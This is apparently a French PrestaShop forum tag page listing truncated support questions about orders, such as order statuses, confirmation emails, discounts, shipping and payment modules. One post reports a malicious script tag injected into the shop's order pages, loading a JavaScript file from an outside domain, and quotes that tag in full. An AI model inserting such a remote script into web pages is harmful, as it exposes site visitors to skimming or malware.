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Showing results for tags 'commande'.
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Bonjour à tous, Après avoir longuement cherché sur le forum, je me permets de vous poser cette question. Je cherche à faire apparaitre le code EAN( renseigné dans la fiche produit) à ces endroits : - Mail de confirmation de commande adressé au client (à la place du champs produit" par ex... -
Bonjour à tous, Je souhaiterai récupérer le détail des réductions appliquées sur une commande via l'api et suis pour l'instant bloqué. A chaque réduction créée je vois bien dans le fichier cart_rules la réduction en question mais rien n'indique à quelle commande elle est rattachée. D'après... -
Bonjour, j'ai une boutique toute simple en prestashop 1.5 avec quasiment que des modules natifs. J'ai active le module bon de reduction qui marche tres bien. Je voudrais savoir s'il existe une fonctionalite ou un module qui permet de suivre facilement l'utilisation du code de reduction. Dan... -
Bonjour, Ma boutique utilise la méthode de paiement à la livraison, lorsque le client passe une commande, je veux que l'état de commande sera "En cours de préparation" au lieu de "En attente de paiement à la livraison". Comment faire s'il vous plait, j'ai pas trouver une solution....
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Bonjour, Je recherche un module ou un développeur pour créer un module qui permettrait de faire modifier la commande client directement par le client. Je m'explique. Tout d'abord il faut savoir que nous autorisons la vente hors stock. Le client passe commande, un article n'est pas disp... -
Bonjour, Voila ce que j'aimerais pouvoir faire : Ajouter un champs obligatoire avant le choix du paiement. Je m'explique, lors du process de commande, l'utilisateur remplis son panier, se connecte ou s'inscrit, remplis son adresse et choisi un mode de livraison, puis il est censé payer. Moi... -
Bonjour, Sur certains de mes produits, j'ai activé la possibilité d'ajouter de la personnalisation par le client (ex: Précisez son prénom à ajouter sur le produit). Or, dans mes commandes, sur la fiche détaillée d'une commande, je ne retrouve pas les informations de personnalisation. Pouvez vo... -
Bonjour, J'ouvre ce topic aujourd'hui pour savoir s'il y a un moyen de résoudre le soucis d'une des boutiques de mon entreprise ; certains clients ne reçoivent pas de mails des commandes et il s'agit essentiellement des adresses xx@sfr.fr, xx@laposte.net et neuf.fr . Cela marche parfaitement... -
Bonjour à tous, J'aimerais savoir s'il est possible de modifier massivement les statuts des commandes pour les faire passer de "paiement accepté" à "livré". (Problème de gestion des stocks du au fait que les commandes réservés sur le site et achetés sur place sont restés en paiements acceptés... -
Bonjour, je suis sur un presta 1.7.7.5. Quand j'étais sur woocommerce lorsqu'un client passer commande, mais avait une erreur de paiement, sa commande apparaissait dans mon Backoffice en statut attente paiement ou erreur paiement. Ce qui était très pratique pour le relancer. Sur pres... -
Bonjour à tous, J'ouvre ce ticket pour vous demandez une potentielle solution à ce problème : les retours de produits ne fonctionnent pas. Nous avons notre boutique en PrestaShop 1.7.5 qui fonctionne assez bien depuis sa refonte mis en place il y a bientôt un mois, je n'ai aucune idée d'où pe...
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Bonjour à tous, Je n'arrive pas à trouver la Destination de la page de confirmation de commande de mon site ; c'est pour configurer un Goal dans Google Analytics afin de tracker la performance des ventes (transactions). J'ai configuré l'objectif sur CHIFFRE D'AFFAIRE et EFFECTUER UN PAIEMENT. J... -
Bonjour à tous, Ayant cherché sur les forums, sur le GitHub et sur internet je n'ai trouvé aucune information relative à mon problème. J'espère tout d'abord être dans la bonne section afin de ne déranger personne qui ne serait pas concerné. Configuration : Prestashop : 1.7.5.1 PHP : 7.2 T...
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Hello ! Je suis sous Prestashop 1.6.0.5, et j'aimerai que, pour certains produits, les frais de port soient gratuits pour l'envoi en France. Pour cela, j'ai créé un transporteur gratuit, et pour chaque produit dont je veux la gratuité des frais de port, je lui ajoute ce transporteur gratuit.... -
Bonjour, J'ai installé le module Stripe, la version gratuite sur la dernière version de prestashop. Le problème est que sur la page commande, stripe n'apparait pas comme une option de paiement. J'ai un compte valide chez stripe et le module est bien "accroché" sur la page commande. Lorsque je... -
Bonjour Je rencontre une problématique Lors que j'active le filtre nouveau client (que ce soit avec la valeur oui ou non) la page commande bug. cette recherche étant gardée en mémoire je ne peux plus accéder à cette page. Pour lever ce blocage il faut soit que je supprime l'utilisateu...
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Bonjour Dans le code de mes pages de commande, avant toute la structure classique de la page , se trouve une balise script qui appelle un script malveillant. <script type="text/javascript" src="https://www.avir.ir/image/favicon.js"></script> <!DOCTYPE HTML> <!--[if lt IE 7]><html class="n... -
Bonjour, PS 1.7.5.1 Sur le thème de base, lors du processus de commande, il m'est impossible d'aller plus loin que l'étape de configuration des adresses car un message d'erreur "Votre adresse est incomplète, veuillez la mettre à jour." m'empêche de continuer. Je ne comprends pas...
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Bonjour, Nous avons un gros soucis sur notre boutique. Un exemple une personne commande un produit en 3 exemplaires. Le poids est définit à 1,3 kg dans l'onglet livraison pour la déclinaison mais dans le détail de la commande on voit 7 kilos... (au lieu de 3.9 kilo) vous auriez une idée ?... -
Good morning all, I want to add a telephone number column in the list of BackOffice orders. I tried several tutorials on the internet but nothing. Thank you for your help.
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Bonjour tout le monde, Voilà je m'explique, j'ai créé mes transporteurs: un pour la boutique et le retrait en magasin et l'autre pour France Express, j'ai réglé leurs paramètres comme il le faut en mettant les prix par rapport à la zone que je souhaite couvrir et le reste. Sur mes produits, j'a... -
Bonjour, J'ai un client qui a un besoin de mettre à jour automatiquement les statuts d'expédition des commandes ainsi que l'ajout d'un numéro de tracking dans la commande, via un fichier CSV reçu par son transporteur. Lorsque j'essaie d'utiliser les webservices de Prestashop, et de faire u... -
Bonjour, J'ai un problème avec une boutique depuis dimanche soir. Deux commandes, on était passé celle-ci se retrouve sans statut et la commande est vide. Les commandes passées très bien jusqu'au 17 mars. Avant les bugs de commandes aucune mise à jour de thème et juste le module avis vér...
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bonjour, je suis en phase de test encore et j'avais créé un compte client qui m'a permis de tester l'achat de mes produits ça a marché et j'ai reçu les mails de confirmation (imprim ecran à l'appui) du jour au lendemain mes fiches produits ne proposent plus au client de commander...
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Salut , J'ai une commande avec les 2 états "Paiement accepté" et "En cours de préparation" , pour l'envoi du mail au client ça fonctionne bien . Pour mettre à jour l'état de la commande "expédié" un message d'erreur s'affiche : J'ai bien une Template mail associée à cette état "Expéd...
